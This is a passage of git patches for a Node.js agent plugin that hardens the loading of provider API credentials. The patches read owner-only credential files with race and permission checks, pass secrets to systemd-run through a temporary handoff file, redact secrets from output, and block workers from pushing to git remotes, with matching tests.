fail('symbol_key_denied'); + if (isCredentialEnvKey(key)) continue; + const value = ownString(source, key); + if (value !== undefined) output[key] = value; + } + return output; +} + +function configHome(source) { + const xdg = ownString(source, 'XDG_CONFIG_HOME'); + if (xdg) { + if (!path.isAbsolute(xdg) || path.resolve(xdg) !== xdg) fail('invalid_credential_path'); + return xdg; + } + const home = ownString(source, 'HOME'); + const root = home && path.isAbsolute(home) ? path.resolve(home) : homedir(); + return path.join(root, '.config'); +} + +function requireAbsolutePath(filePath) { + if (typeof filePath !== 'string' || filePath.length === 0 || filePath.includes('\0')) { + fail('invalid_credential_path'); + } + if (!path.isAbsolute(filePath) || path.resolve(filePath) !== filePath || filePath.includes('//')) { + fail('invalid_credential_path'); + } + return filePath; +} + +function sameFileIdentity(left, right) { + return left.dev === right.dev + && left.ino === right.ino + && left.mode === right.mode + && left.nlink === right.nlink + && left.uid === right.uid + && left.gid === right.gid + && left.size === right.size + && left.mtimeNs === right.mtimeNs + && left.ctimeNs === right.ctimeNs; +} + +function validateCredentialStat(metadata, maxBytes = MAX_CREDENTIAL_BYTES) { + if (typeof metadata?.isSymbolicLink === 'function' && metadata.isSymbolicLink()) { + fail('credential_symlink_denied'); + } + if (typeof metadata?.isFile !== 'function' || !metadata.isFile()) fail('invalid_credential_file'); + if (metadata.nlink !== 1n && metadata.nlink !== 1) fail('credential_hardlink_denied'); + const uid = typeof process.geteuid === 'function' ? process.geteuid() : process.getuid?.(); + if (Number.isInteger(uid) && Number(metadata.uid) !== uid) fail('credential_owner_denied'); + const mode = Number(metadata.mode); + if ((mode & 0o077) !== 0) fail('credential_permissions'); + const size = Number(metadata.size); + if (!Number.isFinite(size) || size < 0) fail('invalid_credential_file'); + if (size === 0) fail('credential_empty'); + if (size > maxBytes) fail('credential_too_large'); +} + +export async function loadCredentialFile(filePath, { maxBytes = MAX_CREDENTIAL_BYTES } = {}) { + const resolved = requireAbsolutePath(filePath); + let handle; + try { + handle = await open(resolved, OPEN_READ_FLAGS); + } catch (error) { + if (error?.code === 'ELOOP' || error?.code === 'EMLINK') fail('credential_symlink_denied', { cause: error }); + if (error?.code === 'ENOENT' || error?.code === 'ENOTDIR') fail('invalid_credential_file', { cause: error }); + fail('credential_unreadable', { cause: error }); + } + try { + const before = await handle.stat({ bigint: true }); + validateCredentialStat(before, maxBytes); + if (Number(before.size) > maxBytes) fail('credential_too_large'); + const bytes = await handle.readFile(); + const after = await handle.stat({ bigint: true }); + if (!sameFileIdentity(before, after) || bytes.length !== Number(before.size)) { + fail('credential_file_changed'); + } + const text = bytes.toString('utf8').trim(); + if (!text || text.includes('\0')) fail('invalid_credential_file'); + if (BYTE_LENGTH(text) > maxBytes) fail('credential_too_large'); + return text; + } finally { + await handle.close().catch(() => {}); + } +} + +function credentialSpec(provider, dshModel) { + if (provider === 'grok') { + return { credentialEnv: 'XAI_API_KEY', credentialFileEnv: null, defaultFile: null }; + } + if (provider === 'cursor-cloud') { + return { + credentialEnv: 'CURSOR_API_KEY', + credentialFileEnv: 'CURSOR_API_KEY_FILE', + defaultFile: ['cursor-cloud-control', 'api-key'], + }; + } + if (provider === 'dsh') { + const route = resolveDshRoute(dshModel); + return { + credentialEnv: route.credentialEnv, + credentialFileEnv: route.credentialFileEnv, + defaultFile: ['codex-co-engineer', route.credentialFile], + }; + } + if (provider === 'cursor-local') return null; + fail('invalid_provider'); +} + +export async function loadProviderCredential({ provider, source = process.env, dshModel } = {}) { + const envSource = requirePlainSource(source); + const spec = credentialSpec(provider, dshModel); + if (!spec) return null; + const existing = ownString(envSource, spec.credentialEnv)?.trim(); + if (existing) { + if (BYTE_LENGTH(existing) > MAX_CREDENTIAL_BYTES) fail('credential_too_large'); + return { name: spec.credentialEnv, value: existing }; + } + if (!spec.defaultFile && !spec.credentialFileEnv) return null; + const override = spec.credentialFileEnv ? ownString(envSource, spec.credentialFileEnv)?.trim() : undefined; + const file = override || path.join(configHome(envSource), ...spec.defaultFile); + return { name: spec.credentialEnv, value: await loadCredentialFile(requireAbsolutePath(path.resolve(file))) }; +} + +export async function materializeProviderEnvironment({ + provider, source = process.env, dshModel, operation = 'lane', +} = {}) { + const projected = projectProviderEnvironment({ provider, source, dshModel, operation }); + if (operation === 'readiness_probe' && (provider === 'dsh' || provider === undefined)) { + return projected; + } + if (operation === 'sdk_probe' || operation === 'git_inspect' || operation === 'systemd_client') { + return projected; + } + try { + const loaded = await loadProviderCredential({ provider, source, dshModel }); + if (loaded) projected[loaded.name] = loaded.value; + } catch (error) { + if (operation === 'readiness' || operation === 'readiness_probe') throw error; + if (provider === 'dsh' || provider === 'cursor-cloud') throw error; + } + for (const key of CREDENTIAL_FILE_ENV_KEYS) delete projected[key]; + return projected; +} + +export function collectLaneSecrets(env = process.env) { + const source = requirePlainSource(env); + const secrets = []; + for (const key of CREDENTIAL_ENV_KEYS) { + const value = ownString(source, key); + if (value) secrets.push(value); + } + return secrets; +} + +export function credentialRedactionFragments(secret) { + if (typeof secret !== 'string' || secret.length === 0) return []; + const fragments = [secret]; + const bytes = NodeBuffer.from(secret, 'utf8'); + if (bytes.length <= REDACTION_FRAGMENT_BYTES) return fragments; + for (let offset = 0; offset <= bytes.length - REDACTION_FRAGMENT_BYTES; offset += REDACTION_FRAGMENT_STRIDE) { + fragments.push(bytes.subarray(offset, offset + REDACTION_FRAGMENT_BYTES).toString('utf8')); + } + const tail = bytes.subarray(bytes.length - REDACTION_FRAGMENT_BYTES).toString('utf8'); + if (!fragments.includes(tail)) fragments.push(tail); + return fragments; +} + +function redactSecretSlices(text, secret, minimum = REDACTION_FRAGMENT_BYTES) { + if (typeof secret !== 'string' || secret.length < 4 || text.length === 0) return text; + if (text.includes(secret)) return text.split(secret).join(REDACTED); + if (secret.includes(text) && text.length >= 4) return REDACTED; + const needle = Math.min(minimum, secret.length); + let output = text; + let index = 0; + while (index <= output.length - needle) { + const window = output.slice(index, index + needle); + const found = secret.indexOf(window); + if (found < 0) { + index += 1; + continue; + } + let length = needle; + while (index + length < output.length && found + length < secret.length + && output[index + length] === secret[found + length]) { + length += 1; + } + output = `${output.slice(0, index)}${REDACTED}${output.slice(index + length)}`; + index += REDACTED.length; + } + return output; +} + +export function redactExactValues(value, secrets = []) { + let text = String(value ?? ''); + const ordered = [...secrets] + .filter((secret) => typeof secret === 'string' && secret.length >= 4) + .sort((left, right) => right.length - left.length); + for (const secret of ordered) text = redactSecretSlices(text, secret); + return text; +} + +function runtimeHandoffRoot() { + const runtime = process.env.XDG_RUNTIME_DIR; + if (typeof runtime === 'string' && path.isAbsolute(runtime) && path.resolve(runtime) === runtime) { + return runtime; + } + return tmpdir(); +} + +export async function createCredentialHandoff(secrets, { directory } = {}) { + const payloadEnv = Object.create(null); + const source = requirePlainSource(secrets); + for (const key of Reflect.ownKeys(source)) { + if (typeof key !== 'string') fail('symbol_key_denied'); + if (!isCredentialEnvKey(key)) continue; + const value = ownString(source, key); + if (value !== undefined) payloadEnv[key] = value; + } + const json = `${JSON.stringify({ schema: CREDENTIAL_BOUNDARY_SCHEMA_ID, version: CREDENTIAL_BOUNDARY_VERSION, env: payloadEnv })}\n`; + if (BYTE_LENGTH(json) > MAX_HANDOFF_BYTES) fail('credential_too_large'); + const root = directory ?? await mkdtemp(path.join(runtimeHandoffRoot(), 'cce-p29-handoff-')); + await chmod(root, 0o700).catch(() => {}); + const filePath = path.join(root, 'env.json'); + const handle = await open(requireAbsolutePath(filePath), OPEN_WRITE_FLAGS, 0o600); + try { + await handle.writeFile(json, 'utf8'); + await handle.datasync?.().catch(() => {}); + const metadata = await handle.stat({ bigint: true }); + validateCredentialStat(metadata, MAX_HANDOFF_BYTES); + } finally { + await handle.close().catch(() => {}); + } + return { path: filePath, directory: root }; +} + +export async function cleanupCredentialHandoff(target) { + const filePath = typeof target === 'string' ? target : target?.path; + if (!filePath) return { cleaned: true, missing: true }; + try { + requireAbsolutePath(filePath); + } catch { + return { cleaned: false, missing: true }; + } + try { + const metadata = await lstat(filePath); + if (metadata.isSymbolicLink() || !metadata.isFile()) fail('invalid_handoff'); + await unlink(filePath); + } catch (error) { + if (error?.code !== 'ENOENT') { + if (error instanceof CredentialBoundaryError) throw error; + fail('invalid_handoff', { cause: error }); + } + } + const dir = path.dirname(filePath); + try { + await rmdir(dir); + } catch { + // Directory may still contain unrelated files; leave it. + } + return { cleaned: true, missing: false }; +} + +export async function consumeCredentialHandoff(filePath) { + const resolved = requireAbsolutePath(filePath); + let payload; + try { + const text = await loadCredentialFile(resolved, { maxBytes: MAX_HANDOFF_BYTES }); + payload = JSON.parse(text); + } catch (error) { + await cleanupCredentialHandoff(resolved).catch(() => {}); + if (error instanceof CredentialBoundaryError) throw error; + fail('invalid_handoff', { cause: error }); + } + await cleanupCredentialHandoff(resolved).catch(() => {}); + if (!payload || payload.schema !== CREDENTIAL_BOUNDARY_SCHEMA_ID || payload.version !== CREDENTIAL_BOUNDARY_VERSION + || !payload.env || typeof payload.env !== 'object' || Array.isArray(payload.env)) { + fail('invalid_handoff'); + } + requirePlainSource(payload.env, 'handoff.env'); + const env = Object.create(null); + for (const key of CREDENTIAL_ENV_KEYS) { + const value = ownString(payload.env, key); + if (value !== undefined) env[key] = value; + } + return env; +} + +export function assertCredentialFreeRemote(value) { + if (value == null) return value; + if (typeof value !== 'string' || value.length === 0 || value.includes('\0')) fail('push_url_denied'); + if (USERINFO_URL.test(value) || TOKEN_QUERY.test(value) || /:\/\//u.test(value) && /@/u.test(value)) { + fail('push_url_denied'); + } + if (/\bpushurl\b/iu.test(value) || /\binsteadof\b/iu.test(value)) fail('push_url_denied'); + return value; +} + +export function denyWorkerRemoteMutation(operation) { + if (typeof operation !== 'string' || operation.length === 0) fail('remote_mutation_denied'); + if (capturedIncludes(DENIED_OPERATIONS, operation)) fail('remote_mutation_denied'); + if (/^(?:push|force_push|merge|rebase|create_pr|merge_pr|tag_create|tag_delete|release_create|remote_mutate|credential_helper|fetch|pull|delete_ref|protected_ref_update)$/u.test(operation)) { + fail('remote_mutation_denied'); + } + return operation; +} + +export function assertNoWorkerPushUrl(value) { + if (value == null) return value; + if (typeof value !== 'object') return assertCredentialFreeRemote(value); + requirePlainSource(value, 'remote'); + for (const key of ['pushurl', 'pushUrl', 'push_url', 'url', 'insteadOf', 'insteadof']) { + if (OBJECT_HAS_OWN(value, key)) { + denyWorkerRemoteMutation('remote_mutate'); + } + } + return value; +} + +export function spawnProviderChild(command, args, { cwd, env, stdio = 'pipe', detached = false, spawn = nodeSpawn } = {}) { + const projected = env ?? {}; + requirePlainSource(projected); + for (const key of Reflect.ownKeys(projected)) { + if (typeof key !== 'string') fail('symbol_key_denied'); + if (isForbiddenProviderEnvKey(key) && !capturedHasOwn(GIT_HARDENING_ENV, key) && !isCredentialEnvKey(key)) { + fail('invalid_env'); + } + } + return spawn(command, args, { cwd, env: projected, stdio, detached, shell: false }); +} + +export function inspectEnvForSecrets(env, secrets = []) { + const serialized = JSON.stringify(env ?? {}); + for (const secret of secrets) { + if (typeof secret === 'string' && secret.length >= 4 && serialized.includes(secret)) return true; + } + return false; +} + +export function inspectArgvForSecrets(argv, secrets = []) { + const serialized = JSON.stringify(argv ?? []); + for (const secret of secrets) { + if (typeof secret === 'string' && secret.length >= 4 && serialized.includes(secret)) return true; + } + return false; +} diff --git a/plugins/codex-co-engineer/mcp/v3/supervisor.mjs b/plugins/codex-co-engineer/mcp/v3/supervisor.mjs index a97f32c..85c4e4e 100644 --- a/plugins/codex-co-engineer/mcp/v3/supervisor.mjs +++ b/plugins/codex-co-engineer/mcp/v3/supervisor.mjs @@ -1,11 +1,17 @@ import { spawn as nodeSpawn, execFile as nodeExecFile } from 'node:child_process'; import { readFileSync } from 'node:fs'; -import { open, readFile, realpath, stat } from 'node:fs/promises'; +import { open, realpath, stat } from 'node:fs/promises'; import { homedir } from 'node:os'; import path from 'node:path'; import { fileURLToPath } from 'node:url'; import { promisify } from 'node:util'; +import { + CredentialBoundaryError, + materializeProviderEnvironment, + projectProviderEnvironment, +} from './credential-boundary.mjs'; + import { ACTIVE_STATUSES, VERSION, @@ -140,7 +146,10 @@ function fail(code, message) { } function publicStartupError(error, fallbackCode = 'worker_start_failed') { - const rawCode = typeof error?.code === 'string' ? error.code : fallbackCode; + const mapped = error instanceof CredentialBoundaryError + ? (PUBLIC_STARTUP_MESSAGES[error.code] ? error.code : (error.code === 'credential_too_large' || error.code === 'credential_empty' || error.code === 'credential_file_changed' || error.code === 'credential_hardlink_denied' || error.code === 'credential_owner_denied' || error.code === 'credential_symlink_denied' || error.code === 'credential_unreadable' || error.code === 'invalid_credential_path' || error.code === 'invalid_handoff' ? 'invalid_credential_file' : error.code)) + : (typeof error?.code === 'string' ? error.code : fallbackCode); + const rawCode = typeof mapped === 'string' ? mapped : fallbackCode; const code = /^[A-Za-z0-9._-]{1,96}$/u.test(rawCode) ? rawCode : fallbackCode; const message = PUBLIC_STARTUP_MESSAGES[code] ?? PUBLIC_STARTUP_MESSAGES[fallbackCode] ?? 'The worker failed to start.'; // Startup failures cross the MCP boundary. Keep the public error bounded and @@ -181,21 +190,20 @@ function providerArgv(provider, env = process.env, dshModel) { } async function workerEnvironment(provider, source = process.env, dshModel) { - const env = { ...source }; - if (provider !== 'dsh') return env; - const selection = DSH_MODELS[resolveDshModel(dshModel)]; - if (env[selection.credentialEnv]) return env; - const file = env[selection.credentialFileEnv] ?? path.join( - env.XDG_CONFIG_HOME ? path.resolve(env.XDG_CONFIG_HOME) : path.join(env.HOME ? path.resolve(env.HOME) : homedir(), '.config'), - 'codex-co-engineer', - selection.credentialFile, - ); - const metadata = await stat(file); - if ((metadata.mode & 0o077) !== 0) fail('credential_permissions', 'DSH credential file must be owner-only.'); - const key = (await readFile(file, 'utf8')).trim(); - if (!key || key.includes('\0') || Buffer.byteLength(key) > 16 * 1024) fail('invalid_credential_file', 'DSH credential file is invalid.'); - env[selection.credentialEnv] = key; - return env; + try { + return await materializeProviderEnvironment({ + provider, + source, + dshModel: provider === 'dsh' ? resolveDshModel(dshModel) : undefined, + operation: 'lane', + }); + } catch (error) { + if (error instanceof CredentialBoundaryError) { + const code = PUBLIC_STARTUP_MESSAGES[error.code] ? error.code : 'invalid_credential_file'; + fail(code === 'credential_permissions' ? 'credential_permissions' : 'invalid_credential_file', error.message); + } + throw error; + } } async function localBoundaryReadiness(probe = probeProcessBoundary) { @@ -903,10 +911,11 @@ function processGroupAlive(processGroup) { const wait = (milliseconds) => new Promise((resolve) => setTimeout(resolve, milliseconds)); -async function probeCommand(command, args, authenticatedPattern) { +async function probeCommand(command, args, authenticatedPattern, env) { try { const { stdout, stderr } = await execFile(command, args, { cwd: '/tmp', encoding: 'utf8', timeout: 5_000, maxBuffer: 256 * 1024, + env, }); const output = `${stdout}${stderr}`; if (/not signed in|not authenticated|log ?in required|unauthori[sz]ed/iu.test(output)) { @@ -919,17 +928,20 @@ async function probeCommand(command, args, authenticatedPattern) { } async function providerReadiness(env = process.env) { - const grokCommand = env.CODEX_CO_ENGINEER_GROK_COMMAND ?? 'grok'; - const cursorCommand = env.CODEX_CO_ENGINEER_CURSOR_COMMAND ?? 'cursor-agent'; - const dshCommand = env.CODEX_CO_ENGINEER_DSH_COMMAND ?? 'dsh'; - const acpxCommand = env.CODEX_CO_ENGINEER_ACPX_COMMAND ?? 'acpx'; - const dshAcpCommand = env.CODEX_CO_ENGINEER_DSH_ACP_COMMAND ?? 'dsh-acp-demo'; + const grokEnv = projectProviderEnvironment({ provider: 'grok', source: env, operation: 'readiness' }); + const cursorLocalEnv = projectProviderEnvironment({ provider: 'cursor-local', source: env, operation: 'readiness' }); + const dshProbeEnv = projectProviderEnvironment({ provider: 'dsh', source: env, dshModel: DEFAULT_DSH_MODEL, operation: 'readiness_probe' }); + const grokCommand = grokEnv.CODEX_CO_ENGINEER_GROK_COMMAND ?? 'grok'; + const cursorCommand = cursorLocalEnv.CODEX_CO_ENGINEER_CURSOR_COMMAND ?? 'cursor-agent'; + const dshCommand = dshProbeEnv.CODEX_CO_ENGINEER_DSH_COMMAND ?? 'dsh'; + const acpxCommand = dshProbeEnv.CODEX_CO_ENGINEER_ACPX_COMMAND ?? 'acpx'; + const dshAcpCommand = dshProbeEnv.CODEX_CO_ENGINEER_DSH_ACP_COMMAND ?? 'dsh-acp-demo'; const [grok, cursorLocal, dshCli, acpx, dshAcp, dshMuseCredential, dshOxCredential, cursorCloud] = await Promise.all([ - probeCommand(grokCommand, ['models']), - probeCommand(cursorCommand, ['status'], /logged in|authenticated|access token/iu), - probeCommand(dshCommand, ['--version']), - probeCommand(acpxCommand, ['--version']), - probeCommand('which', [dshAcpCommand]), + probeCommand(grokCommand, ['models'], undefined, grokEnv), + probeCommand(cursorCommand, ['status'], /logged in|authenticated|access token/iu, cursorLocalEnv), + probeCommand(dshCommand, ['--version'], undefined, dshProbeEnv), + probeCommand(acpxCommand, ['--version'], undefined, dshProbeEnv), + probeCommand('which', [dshAcpCommand], undefined, dshProbeEnv), workerEnvironment('dsh', env, DEFAULT_DSH_MODEL).then(() => ({ ready: true })).catch((error) => ({ ready: false, reason: error?.code ?? 'credentials_missing' })), workerEnvironment('dsh', env, 'stealth/ox-alpha').then(() => ({ ready: true })).catch((error) => ({ ready: false, reason: error?.code ?? 'credentials_missing' })), Promise.all([loadCursorApiKey(env), loadCursorSdk()]) From 2947e019f1b84ed1eb083c6b242897ce2148d5f8 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 14:08:28 +0000 Subject: [PATCH 098/151] feat(boundary): load provider auth without process-argument secrets Read owner-only credential files with no-follow regular-file, owner, mode, link-count, size, and race checks. Hand secrets to systemd-run through a bounded owner-only file and loader so values never appear in argv, and clean the handoff after spawn failure, stop, or consume. --- .../mcp/v3/credential-handoff-loader.mjs | 60 +++++++++++++++ .../mcp/v3/process-boundary.mjs | 76 ++++++++++++++----- .../test/v3-process-boundary.test.mjs | 19 +++-- 3 files changed, 128 insertions(+), 27 deletions(-) create mode 100644 plugins/codex-co-engineer/mcp/v3/credential-handoff-loader.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/credential-handoff-loader.mjs b/plugins/codex-co-engineer/mcp/v3/credential-handoff-loader.mjs new file mode 100644 index 0000000..c82231e --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/credential-handoff-loader.mjs @@ -0,0 +1,60 @@ +#!/usr/bin/env node +// Owner-only credential handoff loader for P29. Reads a bounded regular +// file, applies credential env values, unlinks the file, then runs the +// wrapped command as a child so systemd-run argv never carries secrets. +// This process remains the service leader; KillMode=control-group still +// reaches the provider child. + +import { spawn } from 'node:child_process'; +import path from 'node:path'; + +import { consumeCredentialHandoff } from './credential-boundary.mjs'; + +function failUsage() { + process.stderr.write('Usage: credential-handoff-loader.mjs /absolute/handoff.json -- command [args...]\n'); + process.exit(2); +} + +const separator = process.argv.indexOf('--'); +if (separator < 3 || process.argv.length <= separator + 1) failUsage(); + +const handoffPath = process.argv[2]; +if (typeof handoffPath !== 'string' || !path.isAbsolute(handoffPath) || path.resolve(handoffPath) !== handoffPath) { + failUsage(); +} + +const command = process.argv[separator + 1]; +const args = process.argv.slice(separator + 2); +if (typeof command !== 'string' || command.length === 0 || command.includes('\0')) failUsage(); + +const secrets = await consumeCredentialHandoff(handoffPath); +const env = { ...process.env }; +for (const [name, value] of Object.entries(secrets)) { + if (typeof name === 'string' && typeof value === 'string') env[name] = value; +} +delete env.CODEX_CO_ENGINEER_CREDENTIAL_HANDOFF; + +const child = spawn(command, args, { + env, + stdio: 'inherit', + detached: false, + shell: false, +}); + +const forward = (signal) => { + try { child.kill(signal); } catch { /* child may have already exited */ } +}; +for (const signal of ['SIGTERM', 'SIGINT', 'SIGHUP']) { + process.on(signal, () => forward(signal)); +} + +child.once('error', () => { + process.exitCode = 1; +}); +child.once('exit', (code, signal) => { + if (signal) { + process.exitCode = 1; + return; + } + process.exit(code ?? 1); +}); diff --git a/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs b/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs index 8e24a60..87505bb 100644 --- a/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs +++ b/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs @@ -2,19 +2,35 @@ import { spawn as nodeSpawn, execFile as nodeExecFile } from 'node:child_process import { randomUUID } from 'node:crypto'; import { readFile as nodeReadFile } from 'node:fs/promises'; import path from 'node:path'; +import { fileURLToPath } from 'node:url'; import { promisify } from 'node:util'; +import { + cleanupCredentialHandoff, + createCredentialHandoff, + extractCredentialEnv, + isCredentialEnvKey, + isForbiddenProviderEnvKey, + omitCredentialEnv, + systemdClientEnvironment, +} from './credential-boundary.mjs'; + /** * A deliberately small Linux process boundary for local workers. * - * This is not a provider sandbox: the command, environment, working directory, - * credentials, network, and filesystem capabilities are inherited unchanged. - * The only extra contract is a manager-owned systemd user service with - * KillMode=control-group, so an owned stop reaches detached descendants as - * well as the worker leader and the worker survives the launching client. - * The module is provider-free and is not wired into the MCP surface by itself. + * This is not a provider sandbox: the command, working directory, network, + * and filesystem capabilities are inherited unchanged. Environment is a + * closed projection supplied by the caller. Credential values never appear + * in systemd-run argv; they use an owner-only no-follow regular-file handoff + * consumed by credential-handoff-loader.mjs. The extra lifecycle contract is + * a manager-owned systemd user service with KillMode=control-group, so an + * owned stop reaches detached descendants as well as the worker leader and + * the worker survives the launching client. The module is not wired into the + * MCP surface by itself. */ +const CREDENTIAL_HANDOFF_LOADER = fileURLToPath(new URL('./credential-handoff-loader.mjs', import.meta.url)); + export const PROCESS_BOUNDARY_VERSION = 1; export const PROCESS_BOUNDARY_DEFAULTS = Object.freeze({ launchTimeoutMs: 3_000, @@ -144,13 +160,14 @@ function requireLogPath(logPath) { return logPath; } -function requireEnvironment(env) { +function requireEnvironment(env, { includeCredentials = false } = {}) { if (!env || typeof env !== 'object' || Array.isArray(env)) fail('invalid_env', 'env must be an environment object.'); - return Object.entries(env).map(([name, value]) => { + return Object.entries(env).flatMap(([name, value]) => { if (!/^[A-Za-z_][A-Za-z0-9_]*$/u.test(name) || typeof value !== 'string' || value.includes('\0')) { fail('invalid_env', 'env must contain POSIX variable names and NUL-free string values.'); } - return `--setenv=${name}=${value}`; + if (!includeCredentials && isCredentialEnvKey(name)) return []; + return [`--setenv=${name}=${value}`]; }); } @@ -244,7 +261,7 @@ export async function probeProcessBoundary({ adapter } = {}) { boundary: 'systemd-user-service-cgroup', manager_version: compact(properties.Version, 80), control_group: properties.ControlGroup, - capabilities: { kill_mode: 'control-group', environment: 'inherited', provider_sandbox: false, manager_owned: true }, + capabilities: { kill_mode: 'control-group', environment: 'closed_projection', provider_sandbox: false, manager_owned: true }, }); } @@ -350,7 +367,7 @@ async function systemctlAction(host, args, timeoutMs) { if (!result.ok) fail('systemd_action_failed', `systemd user action failed (${compact(result.stderr || result.error?.message)}).`, { cause: result.error }); } -async function cleanupUnverifiedLaunch(host, unit, description) { +async function cleanupUnverifiedLaunch(host, unit, description, handoffPath) { try { const shown = await showUnit(host, unit); if (!shown.found || shown.properties.Id !== unit || shown.properties.Description !== description) return; @@ -367,6 +384,7 @@ async function cleanupUnverifiedLaunch(host, unit, description) { } catch { // Launch already failed; never replace the original error with cleanup noise. } + if (handoffPath) await cleanupCredentialHandoff(handoffPath).catch(() => {}); } export async function inspectProcessBoundary(handle, { adapter } = {}) { @@ -386,6 +404,8 @@ export async function stopProcessBoundary(handle, { adapter, timeoutMs = PROCESS const record = recordFromHandle(handle, adapter); if (record.stopped) return Object.freeze({ stopped: true, cgroup_empty: true, idempotent: true }); if (!Number.isSafeInteger(timeoutMs) || timeoutMs < 100) fail('invalid_timeout', 'timeoutMs must be at least 100ms.'); + if (record.handoffPath) await cleanupCredentialHandoff(record.handoffPath).catch(() => {}); + record.handoffPath = undefined; const initial = await showUnit(record.host, record.receipt.unit); if (!initial.found) { @@ -422,7 +442,7 @@ export function restoreProcessBoundary(receipt, { adapter } = {}) { const host = requireAdapter(adapter); requireLinux(host); const handle = Object.freeze({ kind: 'systemd-user-process-boundary', ...normalized }); - HANDLES.set(handle, { host, receipt: normalized, child: null, stopped: false }); + HANDLES.set(handle, { host, receipt: normalized, child: null, stopped: false, handoffPath: undefined }); return handle; } @@ -437,18 +457,32 @@ export async function launchProcessBoundary({ command, args = [], cwd, env = pro if (taskId !== undefined && (typeof taskId !== 'string' || !/^[A-Za-z0-9._-]{1,80}$/u.test(taskId))) { fail('invalid_task_id', 'taskId must contain only safe task identifier characters.'); } + const secrets = extractCredentialEnv(env); + const publicEnv = omitCredentialEnv(env); + for (const key of Object.keys(publicEnv)) { + if (isForbiddenProviderEnvKey(key)) delete publicEnv[key]; + } + requireEnvironment(publicEnv); + let serviceCommand = command; + let serviceArgs = normalizedArgs; + let handoffPath; + if (Object.keys(secrets).length > 0) { + const handoff = await createCredentialHandoff(secrets); + handoffPath = handoff.path; + serviceCommand = process.execPath; + serviceArgs = [CREDENTIAL_HANDOFF_LOADER, handoff.path, '--', command, ...normalizedArgs]; + } const token = randomUUID().replaceAll('-', ''); const unit = `codex-co-engineer-${token}.service`; const description = `codex-co-engineer-task:${token}`; const child = host.spawn(SYSTEMD_RUN, buildProcessBoundaryArgv({ - unit, description, command, args: normalizedArgs, cwd: workingDirectory, env, logPath: outputPath, + unit, description, command: serviceCommand, args: serviceArgs, cwd: workingDirectory, env: publicEnv, logPath: outputPath, }), { cwd: workingDirectory, - // The transient service receives exactly `env` through --setenv above. - // The short-lived systemd-run client also needs the caller's D-Bus session - // variables so a deliberately minimal provider environment cannot make - // the manager lookup fail before the service is queued. - env: { ...process.env, ...env }, + // Credential values live in the owner-only handoff file, not in + // systemd-run argv. The short-lived client receives only D-Bus session + // keys so a minimal provider environment cannot hide the user manager. + env: systemdClientEnvironment(process.env), detached: false, shell: false, stdio, @@ -476,17 +510,17 @@ export async function launchProcessBoundary({ command, args = [], cwd, env = pro }); const worker = Object.freeze({ pid: mainPid, unref() {} }); const handle = Object.freeze({ kind: 'systemd-user-process-boundary', ...receipt }); - HANDLES.set(handle, { host, receipt, child: worker, launcher: child, stopped: false }); + HANDLES.set(handle, { host, receipt, child: worker, launcher: child, stopped: false, handoffPath }); return { handle, child: worker, receipt }; } await host.sleep(PROCESS_BOUNDARY_DEFAULTS.pollMs); } } catch (error) { - await cleanupUnverifiedLaunch(host, unit, description); + await cleanupUnverifiedLaunch(host, unit, description, handoffPath); child.kill?.('SIGTERM'); throw error; } - await cleanupUnverifiedLaunch(host, unit, description); + await cleanupUnverifiedLaunch(host, unit, description, handoffPath); child.kill?.('SIGTERM'); fail('unit_verification_failed', 'The transient service could not be verified before its launch deadline.'); } diff --git a/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs b/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs index 19fc6ed..41f17ba 100644 --- a/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs +++ b/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs @@ -37,7 +37,7 @@ function fakeChild(exitCode = 0) { return child; } -test('builds a manager-owned systemd service without narrowing provider argv or environment', () => { +test('builds a manager-owned systemd service without putting credential values in argv', () => { const argv = buildProcessBoundaryArgv({ unit: 'codex-co-engineer-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.service', description: 'codex-co-engineer-task:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', @@ -55,9 +55,9 @@ test('builds a manager-owned systemd service without narrowing provider argv or '--property=StandardOutput=append:/state/task.log', '--property=StandardError=append:/state/task.log', '--setenv=HOME=/home/test-user', - '--setenv=MODEL_API_KEY=provider-secret', '--', '/usr/bin/node', 'worker.mjs', '--provider-capability', 'full', ]); + assert.equal(argv.some((entry) => entry.includes('provider-secret')), false); assert.equal(argv.some((entry) => /MemoryMax|TasksMax|NoNewPrivileges|Private|Restrict|Protect/iu.test(entry)), false); }); @@ -115,16 +115,23 @@ test('launch preserves cwd, full env, stdio, and provider command while verifyin }); assert.equal(calls.length, 1); assert.equal(calls[0].command, '/usr/bin/systemd-run'); - assert.equal(calls[0].options.env.MODEL_API_KEY, environment.MODEL_API_KEY); - assert.equal(calls[0].options.env.HOME, environment.HOME); + assert.equal(calls[0].options.env.MODEL_API_KEY, undefined); + assert.equal(JSON.stringify(calls[0].options.env).includes('provider-secret'), false); assert.equal(calls[0].options.cwd, '/workspace/repo'); assert.deepEqual(calls[0].options.stdio, ['ignore', 'pipe', 'pipe']); - assert.deepEqual(calls[0].args.slice(-3), ['/usr/bin/node', 'worker.mjs', '--full-capability']); + assert.equal(calls[0].args.at(-1), '--full-capability'); + assert.equal(calls[0].args.includes('worker.mjs'), true); + assert.equal(calls[0].args.includes('--setenv=HOME=/home/test-user'), true); + assert.equal(calls[0].args.includes('--setenv=PATH=/bin'), true); + assert.equal(calls[0].args.some((entry) => String(entry).includes('provider-secret')), false); + assert.equal(calls[0].args.includes('--setenv=MODEL_API_KEY=provider-secret'), false); assert.equal(value.receipt.boundary, 'systemd-user-service-cgroup'); assert.equal(value.receipt.unit.endsWith('.service'), true); assert.equal(value.child.pid, 4242); - assert.equal(calls[0].args.includes('--setenv=MODEL_API_KEY=provider-secret'), true); assert.equal(calls[0].args.includes('--property=StandardOutput=append:/state/task.log'), true); + assert.equal(calls[0].args.some((entry) => String(entry).includes('credential-handoff-loader.mjs')), true); + host.readFile = async () => 'populated 0\nfrozen 0\n'; + await stopProcessBoundary(value.handle, { adapter: host, timeoutMs: 100 }); }); test('reports a failed systemd-run client before attempting unit ownership verification', async () => { From 74a80160f1ffc1d049e267d2886450b86eebf4f1 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: 